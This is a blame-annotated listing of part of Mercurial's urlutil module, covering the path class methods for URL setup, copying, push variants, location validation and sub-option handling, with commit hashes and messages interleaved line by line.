changeset
|
866 self._setup_url(rawloc) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
867 |
48250
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
868 if validate_path: |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
869 self._validate_path() |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
870 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
871 _path, sub_opts = ui.configsuboptions(b'paths', b'*') |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
872 self._own_sub_opts = {} |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
873 if suboptions is not None: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
874 self._own_sub_opts = suboptions.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
875 sub_opts.update(suboptions) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
876 self._all_sub_opts = sub_opts.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
877 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
878 self._apply_suboptions(ui, sub_opts) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
879 |
49807
dd62eb4d2ea5
path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49037
diff
changeset
|
880 def _setup_url(self, rawloc): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
881 # Locations may define branches via syntax <base>#<branch>. |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
882 u = url(rawloc) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
883 branch = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
884 if u.fragment: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
885 branch = u.fragment |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
886 u.fragment = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
887 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
888 self.url = u |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
889 # the url from the config/command line before dealing with `path://` |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
890 self.raw_url = u.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
891 self.branch = branch |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
892 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
893 self.rawloc = rawloc |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
894 self.loc = b'%s' % u |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
895 |
52908
180591a9a6a1
typing: add a protocol for `urlutil.path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52907
diff
changeset
|
896 def copy(self, new_raw_location: Optional[bytes] = None) -> path: |
49868
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49852
diff
changeset
|
897 """make a copy of this path object |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49852
diff
changeset
|
898 |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49852
diff
changeset
|
899 When `new_raw_location` is set, the new path will point to it. |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49852
diff
changeset
|
900 This is used by the scheme extension so expand the scheme. |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49852
diff
changeset
|
901 """ |
47196
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
902 new = self.__class__() |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
903 for k, v in self.__dict__.items(): |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
904 new_copy = getattr(v, 'copy', None) |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
905 if new_copy is not None: |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
906 v = new_copy() |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
907 new.__dict__[k] = v |
49868
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49852
diff
changeset
|
908 if new_raw_location is not None: |
d979c76d6e54
path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49852
diff
changeset
|
909 new._setup_url(new_raw_location) |
47196
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
910 return new |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
911 |
49808
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
912 @property |
52908
180591a9a6a1
typing: add a protocol for `urlutil.path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52907
diff
changeset
|
913 def is_push_variant(self) -> bool: |
49808
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
914 """is this a path variant to be used for pushing""" |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
915 return self.main_path is not None |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
916 |
52908
180591a9a6a1
typing: add a protocol for `urlutil.path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52907
diff
changeset
|
917 def get_push_variant(self) -> path: |
49808
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
918 """get a "copy" of the path, but suitable for pushing |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
919 |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
920 This means using the value of the `pushurl` option (if any) as the url. |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
921 |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
922 The original path is available in the `main_path` attribute. |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
923 """ |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
924 if self.main_path: |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
925 return self |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
926 new = self.copy() |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
927 new.main_path = self |
49818
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49809
diff
changeset
|
928 if self._pushloc: |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49809
diff
changeset
|
929 new._setup_url(self._pushloc) |
49808
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
930 return new |
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
931 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
932 def _validate_path(self): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
933 # When given a raw location but not a symbolic name, validate the |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
934 # location is valid. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
935 if ( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
936 not self.name |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
937 and not self.url.scheme |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
938 and not self._isvalidlocalpath(self.loc) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
939 ): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
940 raise ValueError( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
941 b'location is not a URL or path to a local ' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
942 b'repo: %s' % self.rawloc |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
943 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
944 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
945 def _apply_suboptions(self, ui, sub_options): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
946 # Now process the sub-options. If a sub-option is registered, its |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
947 # attribute will always be present. The value will be None if there |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
948 # was no valid sub-option. |
49004
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48375
diff
changeset
|
949 for suboption, (attr, func) in _pathsuboptions.items(): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
950 if suboption not in sub_options: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
951 setattr(self, attr, None) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
952 continue |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
953 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
954 value = func(ui, self, sub_options[suboption]) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
955 setattr(self, attr, value) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
956 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
957 def _isvalidlocalpath(self, path): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
958 """Returns True if the given path is a potentially valid repository. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
959 This is its own function so that extensions can change the definition of |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
960 'valid' in this case (like when pulling from a git repo into a hg |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
961 one).""" |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
962 try: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
963 return os.path.isdir(os.path.join(path, b'.hg')) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
964 # Python 2 may return TypeError. Python 3, ValueError. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
965 except (TypeError, ValueError): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
966 return False |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
967 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
968 @property |
52908
180591a9a6a1
typing: add a protocol for `urlutil.path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52907
diff
changeset
|
969 def suboptions(self) -> Dict[bytes, bytes]: |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
970 """Return sub-options and their values for this path. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
971 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
972 This is intended to be used for presentation purposes. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
973 """ |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
974 d = {} |
49004
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48375
diff
changeset
|
975 for subopt, (attr, _func) in _pathsuboptions.items(): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
976 value = getattr(self, attr) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
977 if value is not None: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
978 d[subopt] = value |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
979 return d |